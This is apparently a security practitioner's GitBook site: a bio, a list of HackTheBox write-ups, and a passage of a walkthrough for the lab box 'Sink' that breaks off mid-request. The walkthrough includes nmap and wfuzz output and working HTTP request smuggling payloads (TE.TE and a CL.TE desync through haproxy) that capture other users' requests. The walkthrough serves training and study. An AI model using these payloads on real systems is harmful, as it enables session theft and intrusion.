# whoami

I am Felix Angelo Mendoza and I made this to serve as a platform for me to post solutions to challenges I've completed and to write and discuss security-related topics that have interested me.

## > ONLINE PROFILES

> [HackTheBox](https://www.hackthebox.eu/profile/50201) | [LinkedIn](https://www.linkedin.com/in/faomendoza/) | [WordPress](https://fiftyliterbox.wordpress.com/)

## > CERTIFICATIONS/TRAININGS

#### Certified Red Team Professional - CRTP

> Issued by **Pentester Academy** with Certificate ID ADLID2991 (Jun 2021 - Jun 2024)

#### Offensive Security Certified Professional - OSCP

> Issued by **Offensive Security** with Certificate ID OS-101-48314 (May 2021)

#### HackTheBox Pro Labs

> * Red Team Operator Level 3 - **APTLabs** (Jul 2021)
> * Red Team Operator Level 2 - **Cybernetics** (Jun 2023)
> * Red Team Operator Level 1 - **Zephyr** (Apr 2023)
> * Red Team Operator Level 1 - **Rastalabs** (Jun 2023)
> * Penetration Tester Level 2 - **Offshore** (May 2021)&#x20;
> * Penetration Tester Level 1 - **Dante** (Jan 2021)

#### DevOps Foundation® Certification

> Issued by **DevOps Institute** with Certificate ID, 21416417 (August 2020)

## > ACHIEVEMENTS

#### Second Place, ROOTCON16 CTF Finals *(Sep 2022)*

> Competed as a member of Team hsb in a Capture the Flag competition organized by Pwn De Manila for the premier hacking conference, ROOTCON 16.

#### Third Place, DEFCON29 Red Team Village Finals *(Aug 2021)*

> Competed as a member of Team hackstreetboys in the CTF Finals organized by Red Team Village for DEFCON29.

#### Third Place, DEFCON29 Red Team Village Qualifiers *(Aug 2021)*

> Competed as a member of Team hackstreetboys and secured 3rd out of 647 teams in a Capture the Flag competition organized by Red Team Village for DEFCON29.

#### First Place, ROOTCON14 CTF Finals *(Oct 2020)*

> Competed as a member of Team FACBOIS in a Capture the Flag competition organized by Pwn De Manila for the premier hacking conference, ROOTCON 14

#### Second Place, Red Team Village CTF *(Oct 2020)*

> Competed as a member of Team NOT FACBOIS in a Capture the Flag competition organized by Red Team Village for the premier hacking conference, ROOTCON 14

#### First Place, ROOTCON Easter Egg Hunt 2020 *(Apr 2020)*

> An online easter-themed Capture the Flag competition organized by Pwn De Manila

#### National Representative, Cyber SEA Game 2019 *(Nov 2019)*

> Competed as a member of the Philippine team in the annual Cyber SEA Game held in Thailand organized by the AJCCBC (ASEAN-Japan Cybersecurity Capacity Building Center), ETDA (Electronic Transactions Development Agency), and JNSA (Japan Network Security Association), supported by JAIF 2.0 (Japan-ASEAN Integration Fund), and in cooperation with the Ministry of Internal Affairs and Communications, and the Ministry of Digital Economy and Society.

#### 2nd Place, ROOTCON CTF *(Sep 2019)*

> Competed as a member of Team \[hsb]JumboHackdog in a Capture the Flag competition organized by Pwn De Manila for the premier hacking conference, ROOTCON 13

#### Overall Champion, Hack4Gov 2019 Finals *(Aug 2019)*

> Competed as a member of Team Ut4kPus0 in a national Capture the Flag competition organized by the Department of Information and Communications Technology (DICT)

#### First Place Winner, Haxxor 4.0 *(Jul 2019)*

> Competed as a member of Team hacknation in the annual Capture the Flag competition organized by the Association for Computing Machinery - UPD Student Chapter, Inc. (UP ACM)

#### Top 10 Finalist, Hack4Gov 2019 Qualifiers *(Feb 2019)*

> Competed as a member of Team Ut4kPus0 in a national Capture the Flag competition organized by the Department of Information and Communications Technology (DICT)

## > AFFILIATIONS

#### hackstreetboys

> [CTFtime](https://ctftime.org/team/43377) | [Facebook](https://www.facebook.com/hackstreetboys) | [LinkedIn](https://www.linkedin.com/company/hackstreetboys/) | [Medium](https://medium.com/hackstreetboys) | [Website](https://hackstreetboys.ph)

#### UP Music Circle (UP MC)

> Member (May 2019 - Present) \[Inactive]

#### UP Future Library and Information Professionals of the Philippines (UP FLIPP)

> Multimedia and Information Technology Committee Head (Jun 2017 - Jun 2018)
>
> * 2017 - LibSpeak (Technicals Team Member)

#### UP Association of Computer Science Majors (UP CURSOR)

> Member (Oct 2013 - Jan 2018)
>
> * 2015 - Computer Science Summit 2.0 (Volunteer)&#x20;
> * 2014 - Computer Science Summit 1.0 (Technicals Head and Logistics Team Member)&#x20;
> * 2014 - TACKLe: Start Your Journey (Logistics Head)&#x20;
> * 2014 - @rte: Digital Arts and Music Seminar (Runner)&#x20;
> * 2014 - DCS Bootcamp (Basic Python Instructor)


# Machine Writeups

| **BOX NAME**                                                                | **OS**                                     | **MACHINE IP**                                  | **RETIRED**  |
| --------------------------------------------------------------------------- | ------------------------------------------ | ----------------------------------------------- | ------------ |
| [Sink](/hackthebox/machine-writeups/htb-sink)                               | <mark style="color:purple;">Linux</mark>   | <mark style="color:purple;">10.10.10.225</mark> | -            |
| [CrossFitTwo](/hackthebox/machine-writeups/htb-crossfittwo)                 | <mark style="color:purple;">OpenBSD</mark> | <mark style="color:purple;">10.10.10.232</mark> | -            |
| [Attended](/hackthebox/machine-writeups/htb-attended)                       | <mark style="color:purple;">OpenBSD</mark> | <mark style="color:purple;">10.10.10.221</mark> | May 09, 2021 |
| [APT](/hackthebox/machine-writeups/htb-apt)                                 | <mark style="color:purple;">Windows</mark> | <mark style="color:purple;">10.10.10.213</mark> | Apr 11, 2021 |
| [Unbalanced](/hackthebox/machine-writeups/htb-unbalanced)                   | <mark style="color:red;">Linux</mark>      | <mark style="color:red;">10.10.10.200</mark>    | Dec 06, 2020 |
| [Travel ](/hackthebox/machine-writeups/htb-travel)                          | <mark style="color:red;">Linux</mark>      | <mark style="color:red;">10.10.10.189</mark>    | Sep 13, 2020 |
| [Quick](/hackthebox/machine-writeups/htb-quick)                             | <mark style="color:red;">Linux</mark>      | <mark style="color:red;">10.10.10.186</mark>    | Aug 30, 2020 |
| [Bitlab](https://jebidiah-anthony.github.io/boxes/38_Bitlab.html)           | <mark style="color:orange;">Linux</mark>   | <mark style="color:orange;">10.10.10.110</mark> | Jan 12, 2020 |
| [Safe](https://jebidiah-anthony.github.io/boxes/33_Safe.html)               | <mark style="color:green;">Linux</mark>    | <mark style="color:green;">10.10.10.147</mark>  | Oct 26, 2019 |
| [Ellingson](/hackthebox/machine-writeups/htb-ellingson)                     | <mark style="color:red;">Linux</mark>      | <mark style="color:red;">10.10.10.139</mark>    | Oct 19, 2019 |
| [WriteUp](https://jebidiah-anthony.github.io/boxes/31_WriteUp.html)         | <mark style="color:green;">Linux</mark>    | <mark style="color:green;">10.10.10.138</mark>  | Oct 12, 2019 |
| [SwagShop](https://jebidiah-anthony.github.io/boxes/30_swagshop.html)       | <mark style="color:green;">Linux</mark>    | <mark style="color:green;">10.10.10.140</mark>  | Sep 28, 2019 |
| [Kryptos](/hackthebox/machine-writeups/htb-kryptos)                         | <mark style="color:purple;">Linux</mark>   | <mark style="color:purple;">10.10.10.129</mark> | Sep 21, 2019 |
| [Luke](https://jebidiah-anthony.github.io/boxes/28_Luke.html)               | <mark style="color:orange;">FreeBSD</mark> | <mark style="color:orange;">10.10.10.137</mark> | Sep 14, 2019 |
| [CTF ](/hackthebox/machine-writeups/htb-ctf)                                | <mark style="color:purple;">Linux</mark>   | <mark style="color:purple;">10.10.10.122</mark> | Jul 20, 2019 |
| [FriendZone](https://jebidiah-anthony.github.io/boxes/25_Friendzone.html)   | <mark style="color:green;">Linux</mark>    | <mark style="color:green;">10.10.10.123</mark>  | Jul 13, 2019 |
| [Flujab](/hackthebox/machine-writeups/htb-flujab)                           | <mark style="color:red;">Linux</mark>      | <mark style="color:red;">10.10.10.124</mark>    | Jun 15, 2019 |
| [Help](https://jebidiah-anthony.github.io/boxes/23_Help.html)               | <mark style="color:green;">Linux</mark>    | <mark style="color:green;">10.10.10.121</mark>  | Jun 08, 2019 |
| [Chaos](https://jebidiah-anthony.github.io/boxes/22_Chaos.html)             | <mark style="color:orange;">Linux</mark>   | <mark style="color:orange;">10.10.10.120</mark> | May 25, 2019 |
| [Lightweight](https://jebidiah-anthony.github.io/boxes/21_Lightweight.html) | <mark style="color:orange;">Linux</mark>   | <mark style="color:orange;">10.10.10.119</mark> | May 11, 2019 |
| [Irked](https://jebidiah-anthony.github.io/boxes/20_Irked.html)             | <mark style="color:green;">Linux</mark>    | <mark style="color:green;">10.10.10.117</mark>  | Apr 27, 2019 |
| [Teacher](https://jebidiah-anthony.github.io/boxes/19_Teacher.html)         | <mark style="color:green;">Linux</mark>    | <mark style="color:green;">10.10.10.153</mark>  | Apr 20, 2019 |
| [Mischief](/hackthebox/machine-writeups/htb-mischief)                       | <mark style="color:purple;">Linux</mark>   | <mark style="color:purple;">10.10.10.92</mark>  | Jan 06, 2019 |
| [Waldo](https://jebidiah-anthony.github.io/boxes/14_Waldo.html)             | <mark style="color:orange;">Linux</mark>   | <mark style="color:orange;">10.10.10.87</mark>  | Dec 16, 2018 |
| [Active](https://jebidiah-anthony.github.io/boxes/13_Active.html)           | <mark style="color:green;">Windows</mark>  | <mark style="color:green;">10.10.10.100</mark>  | Dec 09, 2018 |
| [Hawk](https://hackedthebox.wordpress.com/htb-hawk/)                        | <mark style="color:orange;">Linux</mark>   | <mark style="color:orange;">10.10.10.102</mark> | Dec 02, 2018 |
| [Jerry](https://hackedthebox.wordpress.com/htb-jerry/)                      | <mark style="color:green;">Windows</mark>  | <mark style="color:green;">10.10.10.95</mark>   | Nov 18, 2018 |
| [TartarSauce](https://hackedthebox.wordpress.com/htb-tartarsauce/)          | <mark style="color:orange;">Linux</mark>   | <mark style="color:orange;">10.10.10.88</mark>  | Oct 21, 2018 |
| [DevOops](https://hackedthebox.wordpress.com/htb-dev0ops/)                  | <mark style="color:orange;">Linux</mark>   | <mark style="color:orange;">10.10.10.91</mark>  | Oct 14, 2018 |
| [Sunday](https://hackedthebox.wordpress.com/htb-sunday/)                    | <mark style="color:green;">Solaris</mark>  | <mark style="color:green;">10.10.10.76</mark>   | Sep 30, 2018 |
| [Canape](https://hackedthebox.wordpress.com/htb-canape/)                    | <mark style="color:orange;">Linux</mark>   | <mark style="color:orange;">10.10.10.70</mark>  | Sep 16, 2018 |
| [Poison](https://hackedthebox.wordpress.com/htb-poison/)                    | <mark style="color:orange;">FreeBSD</mark> | <mark style="color:orange;">10.10.10.84</mark>  | Sep 09, 2018 |
| [Stratosphere](https://hackedthebox.wordpress.com/htb-stratosphere/)        | <mark style="color:orange;">Linux</mark>   | <mark style="color:orange;">10.10.10.64</mark>  | Sep 02, 2018 |
| Cereal                                                                      | <mark style="color:red;">Windows</mark>    | 10.10.10.217                                    | -            |
| Ready                                                                       | <mark style="color:orange;">Linux</mark>   | 10.10.10.220                                    | -            |
| Delivery                                                                    | <mark style="color:green;">Linux</mark>    | 10.10.10.222                                    | -            |
| Tenet                                                                       | <mark style="color:orange;">Linux</mark>   | 10.10.10.223                                    | -            |
| Tentacle                                                                    | <mark style="color:red;">Linux</mark>      | 10.10.10.224                                    | -            |
| ScriptKiddie                                                                | <mark style="color:green;">Linux</mark>    | 10.10.10.226                                    | -            |
| Ophiuchi                                                                    | <mark style="color:orange;">Linux</mark>   | 10.10.10.227                                    | -            |
| Breadcrumbs                                                                 | <mark style="color:red;">Windows</mark>    | 10.10.10.228                                    | -            |
| Spectra                                                                     |                                            | 10.10.10.229                                    | -            |
| TheNotebook                                                                 | <mark style="color:orange;">Linux</mark>   | 10.10.10.230                                    | -            |
| Proper                                                                      | <mark style="color:red;">Windows</mark>    | 10.10.10.231                                    | -            |
| Armageddon                                                                  | <mark style="color:green;">Linux</mark>    | 10.10.10.233                                    | -            |
| Schooled                                                                    | <mark style="color:orange;">FreeBSD</mark> | 10.10.10.234                                    | -            |
| Unobtainium                                                                 | <mark style="color:red;">Linux</mark>      | 10.10.10.235                                    | -            |
| Atom                                                                        | <mark style="color:orange;">Windows</mark> | 10.10.10.237                                    | -            |
| Monitors                                                                    | <mark style="color:red;">Linux</mark>      | 10.10.10.238                                    | -            |
| Love                                                                        | <mark style="color:green;">Windows</mark>  | 10.10.10.239                                    | -            |
| Sharp                                                                       | <mark style="color:red;">Windows</mark>    | 10.10.10.219                                    | May 02, 2021 |
| Academy                                                                     | <mark style="color:green;">Windows</mark>  | 10.10.10.215                                    | Feb 28, 2021 |
| Doctor                                                                      | <mark style="color:green;">Windows</mark>  | 10.10.10.209                                    | Feb 07, 2021 |
| OpenKeyS                                                                    | <mark style="color:orange;">OpenBSD</mark> | 10.10.10.199                                    | Dec 20, 2020 |
| SneakyMailer                                                                | <mark style="color:orange;">Linux</mark>   | 10.10.10.197                                    | Nov 29, 2020 |
| Buff                                                                        | <mark style="color:green;">Windows</mark>  | 10.10.10.198                                    | Nov 22, 2020 |
| Intense                                                                     | <mark style="color:red;">Linux</mark>      | 10.10.10.195                                    | Nov 15, 2020 |
| Tabby                                                                       | <mark style="color:green;">Linux</mark>    | 10.10.10.194                                    | Nov 08, 2020 |
| Fuse                                                                        | <mark style="color:orange;">Windows</mark> | 10.10.10.193                                    | Nov 01, 2020 |
| Blunder                                                                     | <mark style="color:green;">Linux</mark>    | 10.10.10.191                                    | Oct 18, 2020 |
| Traceback                                                                   | <mark style="color:green;">Linux</mark>    | 10.10.10.181                                    | Aug 16, 2020 |
| Oouch                                                                       | <mark style="color:red;">Linux</mark>      | 10.10.10.177                                    | Aug 02, 2020 |
| Obscurity                                                                   | <mark style="color:orange;">Linux</mark>   | 10.10.10.168                                    | May 10, 2020 |
| OpenAdmin                                                                   | <mark style="color:green;">Linux</mark>    | 10.10.10.171                                    | May 03, 2020 |
| Traverxec                                                                   | <mark style="color:green;">Linux</mark>    | 10.10.10.165                                    | Apr 12, 2020 |
| Craft                                                                       | <mark style="color:orange;">Linux</mark>   | 10.10.10.114                                    | Jan 05, 2020 |
| Networked                                                                   | <mark style="color:green;">Linux</mark>    | 10.10.10.146                                    | Nov 16, 2019 |
| Jarvis                                                                      | <mark style="color:orange;">Linux</mark>   | 10.10.10.143                                    | Nov 09, 2019 |
| Haystack                                                                    | <mark style="color:green;">Linux</mark>    | 10.10.10.115                                    | Nov 02, 2019 |
| OneTwoSeven                                                                 | <mark style="color:red;">Linux</mark>      | 10.10.10.133                                    | Sep 01, 2019 |
| Frolic                                                                      | <mark style="color:green;">Linux</mark>    | 10.10.10.111                                    | Mar 24, 2019 |
| Dab                                                                         | <mark style="color:red;">Linux</mark>      | 10.10.10.86                                     | Feb 02, 2019 |
| Reddish                                                                     | <mark style="color:purple;">Linux</mark>   | 10.10.10.94                                     | Jan 26, 2019 |
| Olympus                                                                     | <mark style="color:orange;">Linux</mark>   | 10.10.10.83                                     | Sep 23, 2018 |
| Celestial                                                                   | <mark style="color:orange;">Linux</mark>   | 10.10.10.85                                     | Aug 26, 2018 |
| Valentine                                                                   | <mark style="color:green;">Linux</mark>    | 10.10.10.79                                     | Jul 29, 2018 |
| Aragog                                                                      | <mark style="color:orange;">Linux</mark>   | 10.10.10.78                                     | Jul 22, 2018 |
| Kotarak                                                                     | <mark style="color:red;">Linux</mark>      | 10.10.10.55                                     | Mar 11, 2018 |
| Haircut                                                                     | <mark style="color:orange;">Linux</mark>   | 10.10.10.24                                     | Oct 01, 2017 |
| Cronos                                                                      | <mark style="color:orange;">Linux</mark>   | 10.10.10.13                                     | Aug 06, 2017 |


# HTB Sink

10.10.10.225 | 50 pts

## PART 1 : INITIAL RECON

### 1.1 MACHINE INFORMATION

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mfagag8d4yY8yveDJY3%2Fuploads%2FVyDFi4DtPLaPIAMbYsZY%2Fimage.png?alt=media\&token=8511ee62-b060-4127-bf08-08afeef0b46e)

### 1.2 NMAP SCAN

```shell-session
$ nmap --min-rate 3000 -oN nmap-tcp.initial -p- -Pn -T4 -v 10.10.10.225

  PORT      STATE    SERVICE
  22/tcp    open     ssh
  3000/tcp  open     ppp
  5000/tcp  open     upnp

$ nmap -oN nmap-tcp -p 22,3000,5000 -sC -sV -v 10.10.10.225

  PORT     STATE SERVICE VERSION
  22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey:
  |   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
  |   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
  |_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
  3000/tcp open  ppp?
  | fingerprint-strings:
  |   GenericLines, Help:
  |     HTTP/1.1 400 Bad Request
  |     Content-Type: text/plain; charset=utf-8
  |     Connection: close
  |     Request
  |   GetRequest:
  |     HTTP/1.0 200 OK
  |     Content-Type: text/html; charset=UTF-8
  |     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
  |     Set-Cookie: i_like_gitea=40763612537a2fd4; Path=/; HttpOnly
  |     Set-Cookie: _csrf=sSdj6NIEq9zZwLKWHIf2zioCJzQ6MTYxODA3MjI5ODUxMDE3ODY1NA; Path=/; Expires=Sun, 11 Apr 2021 16:31:38 GMT; HttpOnly
  |     X-Frame-Options: SAMEORIGIN
  |     Date: Sat, 10 Apr 2021 16:31:38 GMT
  |     <!DOCTYPE html>
  |     <html lang="en-US" class="theme-">
  |     <head data-suburl="">
  |     <meta charset="utf-8">
  |     <meta name="viewport" content="width=device-width, initial-scale=1">
  |     <meta http-equiv="x-ua-compatible" content="ie=edge">
  |     <title> Gitea: Git with a cup of tea </title>
  |     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
  |     <meta name="theme-color" content="#6cc644">
  |     <meta name="author" content="Gitea - Git with a cup of tea" />
  |     <meta name="description" content="Gitea (Git with a cup of tea) is a painless
  |   HTTPOptions:
  |     HTTP/1.0 404 Not Found
  |     Content-Type: text/html; charset=UTF-8
  |     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
  |     Set-Cookie: i_like_gitea=009014c3b2d4e2d9; Path=/; HttpOnly
  |     Set-Cookie: _csrf=fe5c5svRDDMllearHCwpoZFZJds6MTYxODA3MjMwNDQyMjM4NDk1MQ; Path=/; Expires=Sun, 11 Apr 2021 16:31:44 GMT; HttpOnly
  |     X-Frame-Options: SAMEORIGIN
  |     Date: Sat, 10 Apr 2021 16:31:44 GMT
  |     <!DOCTYPE html>
  |     <html lang="en-US" class="theme-">
  |     <head data-suburl="">
  |     <meta charset="utf-8">
  |     <meta name="viewport" content="width=device-width, initial-scale=1">
  |     <meta http-equiv="x-ua-compatible" content="ie=edge">
  |     <title>Page Not Found - Gitea: Git with a cup of tea </title>
  |     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
  |     <meta name="theme-color" content="#6cc644">
  |     <meta name="author" content="Gitea - Git with a cup of tea" />
  |_    <meta name="description" content="Gitea (Git with a c
  5000/tcp open  http    Gunicorn 20.0.0
  | http-methods:
  |_  Supported Methods: POST OPTIONS HEAD GET
  |_http-server-header: gunicorn/20.0.0
  |_http-title: Sink Devops
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

## PART 2 : INFORMATION GATHERING

### 2.1 TCP PORT 22 (OpenSSH)

```shell-session
$ ssh -l test 10.10.10.225

  test@10.10.10.225's password:
  Permission denied, please try again.
  test@10.10.10.225's password:
  Permission denied, please try again.
  test@10.10.10.225's password:
  test@10.10.10.225: Permission denied (publickey,password).
```

The SSH client supports either publickey or password authentication for regular users.

### 2.2 TCP PORT 3000 (HTTP)

A **Gitea** page opens up when you access the service via a web browser:

![](https://lh6.googleusercontent.com/JgzT-rlQuAneTwJpMGAa4pjexXzCTtaAU10qCfbCv-HY-t1yA2hIGqgUiL5GYH3TridGZYIzPZm-_U11EGFvSSaYcMZxoAeoFFSxv4jbVKAUr8XEeMgz_CBPJJrDUg2IGuSa2SeG=s0)

There are no public repositories in the **Explore** > **Repositories** section but a list of accounts were revealed under the **Explore** > **Users** as well as the group, **Sink\_Solutions**, under **Explore** > **Organizations**.

![](https://lh6.googleusercontent.com/jhTwB0nVVuL6doKxz3Nqo_vkXdry6IpSpfIS5S1Ej3gdGhqAh5MH0yPuO_oplLay3dFc225AMIE6l1zCUfcTS4H7flgEP2roFHqGlI6_txDKi7q5NztD1v9ehOtjtvGLjMc7R9hd=s0)

The users -- **david**, **marcus**, and **root**, are all members of **Sink\_Solutions**:

![](https://lh4.googleusercontent.com/BejfAhV7VmtfCFEpZyqPRHTqEXN3udb2bvFzNzXayD2emBNSxG1PgwBuX5WTM00aDouBYuayzjCs1AenugjDmdU5FPE3ZNQKWHFuNtDxa7FP9AXmIg8r07OC0SBMMIcVWdkBnDQI=s0)

There is also a login option but there are no user credentials gotten yet nor is there a register option for new users. Finding valid user credentials might be one of the goals in the box during exploitation.

![](https://lh4.googleusercontent.com/ScoTBrXtVZ-SO8QLLmvcFKxVdyeYedDEIUDA9wJbBBY2npUpqFn0ciLMvigrzYtopJosxbPizyQrADtKqL-JJThnkZMI-vptLG12XaUH-UlKkIKwwsGWNqJGrAunkBuPQlViqyYU=s0)

### 2.3 TCP PORT 5000 (HTTP)

Opening the service via a web browser brings you to the following page:

![](https://lh3.googleusercontent.com/b6nztZKL6tkHhweztZIQO7G2Rb1ouSVuCuv5wt37O1luoaiRSw-bwRaQBchIFMjBsketM3Oy77ppgQcBxu_xQz8AY3X1vr-8IHRK7wSCSXMePkamrxbZ-KtmN6H2YYQjZSbpIOrk=s0)

An option to sign up is available where I registered as the user, **jebidiah**:

![](https://lh5.googleusercontent.com/aKr3ieHPu9xG18SO5AREhsi7FVM48b_t17Rm-bUqWIwnH4HiNPhPuF5ibDHUXukAHJ1JN-4ySXP2QIH0BhJX9gYro0e_uAOSMU2-NOif2gwwYGp8CIDUsD5bWFxRXC96fntGkNq2=s0)

And upon successful registration, you will be redirected to the following page:

![](https://lh6.googleusercontent.com/x0b57FaOoMwq4Dim3QXlx01ea9If8PW3-f8UYiOLcYws7olBqyIQmpbNvoksdNsBs1lgW0numoOurTaras40CgU80Ath4K2kSWqUAAE4oYHNAgALC42iYCAQ1ZqcVXylpgyBptPh=s0)

On the same page, posting comments on posts are possible:

![](https://lh4.googleusercontent.com/uwDTd1XrNdfnKHYefyBG3Gjvhm7IoJFpvtRAT91LuLve3alK42f7Z3-hfIegImCvO3kSIBJwVBQi04IhSF4MPY_C610UjQnQJmVakN22BGcCdDPi7hyI59BNbHx9YTuISMUjpneK=s0)

There is also an option to save personal notes within your account on **/notes**:

![](https://lh4.googleusercontent.com/-smon5HEgRubBO04Dg8ctB7rgnoO5ugrUr8fxMwGzi-e6VBlIgjY4TVHQrH6-szFAOx1MPIbOlzdSXsPaeBsSmYpXIYTtY-KRqFWub8vsAUNJ6pUqrBi3fRY0Ds0mrm0sAr6nmq-=s0)

Posting notes will create a table on the same page (/notes):

![](https://lh6.googleusercontent.com/fcWDZMOUX2W2H6yPuMJLHe0rDaYPhyY7P5er5EOF1V2ML48bnAycOi47_r5l941UAMDDRBLuMAo4Og3NVVPKCNVKSzNiYvslioxxVB4g468Hu9DfvqB15504lD_J1VdYibH2esQy=s0)

And when you view the notes listed on the table, you are redirected to a page, **/notes/\<integer>** and in this case, **/notes/17436**:

![](https://lh4.googleusercontent.com/F5ucUWplzyG7aJFnnAxJDftfe_OE8EkoY108uyUCQUi_EzzVhaJ3_2Jzaj62ENKlCqRLdPoYWcu2AbuHyUe0rbp7pw-V6GBdo8-lIuzJaiuLUtOU35EoTEmXqoaTwBoUYoyJpSGN=s0)

How the integer in the link and the numerical ID of the posted notes are hard to correlate and fuzzing seems to be not viable as well:

```shell-session
$ wfuzz -z range,1-2000 -H "Cookie: session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30" --hc=500 http://10.10.10.225:5000/notes/FUZZ

  Target: http://10.10.10.225:5000/notes/FUZZ
  Total requests: 2000

  =====================================================================
  ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                  
  =====================================================================

  000000003:   302        3 L      24 W       219 Ch      "3"                                                                                                                                                                     
  000000001:   302        3 L      24 W       219 Ch      "1"                                                                                                                                                                      
  000000002:   302        3 L      24 W       219 Ch      "2"                                                                                                                                                                          
  Total time: 0
  Processed Requests: 140
  Filtered Requests: 137
  Requests/sec.: 0

   /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:78: UserWarning:Fatal exception: Pycurl error 7: Failed to connect to 10.10.10.225 port 5000: Connection refused
```

The server times out when flooded by a large volume of requests. But, the usual response code for the other requests are **500 (Internal Server Error)** and for notes -- **1**, **2**, and **3**, the response was **302 (Redirect)**. Trying to access the previously mentioned notes only redirects you back to **/notes**.

## PART 3 : EXPLOITATION

### 3.2 HTTP REQUEST SMUGGLING

Checking for the response headers of the service running in port 5000:

```shell-session
$ curl -H "Cookie: session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30" -I http://10.10.10.225:5000/notes

  HTTP/1.1 302 FOUND
  Server: gunicorn/20.0.0
  Date: Sun, 25 Apr 2021 06:38:32 GMT
  Content-Type: text/html; charset=utf-8
  Content-Length: 219
  Location: http://10.10.10.225:5000/notes
  Vary: Cookie
  Via: haproxy
  X-Served-By: 3d55d9da52f0
```

While searching for relevant exploits for **gunicorn** with **haproxy**, I came across this [article](https://nathandavison.com/blog/haproxy-http-request-smuggling) by Nathan Davidson and a practical application in a [CTF challenge write up](https://blog.nsogroup.com/defcon-2020-quals-uploooadit/). It highlights a <mark style="color:red;">**HTTP Request Smuggling**</mark> using **CL.TE** (Content-Length -> Transfer-Encoding) vulnerability that leads to <mark style="color:red;">**HTTP Desynchronization**</mark>.

How request smuggling works is that specifying a **Transfer-Encoding** header with a value **chunked** along with **Content-Length** can force the server to interpret the request as multiple requests. The server will interpret the **“0\r\n\r\n”** as the end of the initial request and will then begin to parse the succeeding lines as a new request. The terminator for the smuggled request will be supplied by the server once it parses the second request.

In the following example, when the request passes through **haproxy**, the request will be considered as chunked as well as into the server itself leveraging HTTP Request Smuggling using **TE.TE** (Transfer-Encoding -> Transfer-Encoding):

```http
POST /notes HTTP/1.1
Host: 10.10.10.225:5000
Content-Type: application/x-www-form-urlencoded
Cookie: i_like_gitea=5d0c89ebb9c9350c; session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30; lang=en-US; _csrf=ARiCvID_5zGN4pUVNaXF6jI97Uo6MTYxOTMyOTQ5NDc2NjE5Mzc1NQ; redirect_to=%2FSink_Solutions
Content-Length: 6
Transfer-Encoding: chunked

0

POST /notes HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: i_like_gitea=5d0c89ebb9c9350c; session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30; lang=en-US; _csrf=ARiCvID_5zGN4pUVNaXF6jI97Uo6MTYxOTMyOTQ5NDc2NjE5Mzc1NQ; redirect_to=%2FSink_Solutions
Content-Length: 9

note=test
```

And after the request was sent, the server responded as well to the smuggled request:

![](https://lh6.googleusercontent.com/1k4NDbYHVgSIlo1siLGIPL4Xxr96YDiNIxfqLPBisBTDNWOsa82c1xdKCQDrR34Mku1gk4pO64bOr_F9CCL5uQHwaKlG19wJ42cl7mL4cdtUpcBQo5yUmarCYq7JztSNCTNahZn8=s0)

### 3.2 HTTP DESYNCHRONIZATION

The goal of the exploit is to force haproxy to interpret the Content-Length instead of the Transfer-Encoding header in the initial request to leverage a CL.TE instead of TE.TE in order to trigger an <mark style="color:red;">**HTTP Desynchronization**</mark> wherein the server will hang while waiting for a request with a “0\r\n\r\n” terminator; therefore, making the intercepted request part of the smuggle request.

To do this, according to the article by Nathan Davidson, write the **Transfer-Encoding** header with **\[\x0b]** or **\[\x0c]** before the value, **chunked**. These characters are short spaces that **haproxy** will not be able to parse. This will enable the attacker to intercept other requests as part of the smuggled request’s body.

```http
GET /home HTTP/1.1
Host: 10.10.10.225:5000
Cookie: i_like_gitea=5d0c89ebb9c9350c; session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30; lang=en-US; _csrf=ARiCvID_5zGN4pUVNaXF6jI97Uo6MTYxOTMyOTQ5NDc2NjE5Mzc1NQ; redirect_to=%2FSink_Solutions
Content-Length: 283
Transfer-Encoding:
                  chunked

0

POST /notes HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: i_like_gitea=5d0c89ebb9c9350c; session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30; lang=en-US; _csrf=ARiCvID_5zGN4pUVNaXF6jI97Uo6MTYxOTMyOTQ5NDc2NjE5Mzc1NQ; redirect_to=%2FSink_Solutions
Content-Length: 300

note=ggwp 
```

After the sending the request above then checking the created note, an HTTP request was intercepted and was saved along with the note:

![](https://lh3.googleusercontent.com/U9CR_pTGUK7uvnEBexkPcRgRV3Tyo8g5QpnRQePUI5C6oKZ7F3SZIqn6W_GhDyKQyIaP6dkwiO8jj7Dkhbf2Uw1xdrsJ_Qq-YlllwX9F8M6-ollIfzervtQ7KCBkAkHCFKSbZmWy=s0)

Setting the right **Content-Length** (in this case, 300) for the smuggled request will let you intercept the succeeding request properly. Setting it too long and the request terminator might be interpreted as part of the note.&#x20;

The entire request will look like this once interpreted by the server:

```http
GET /home HTTP/1.1
Host: 10.10.10.225:5000
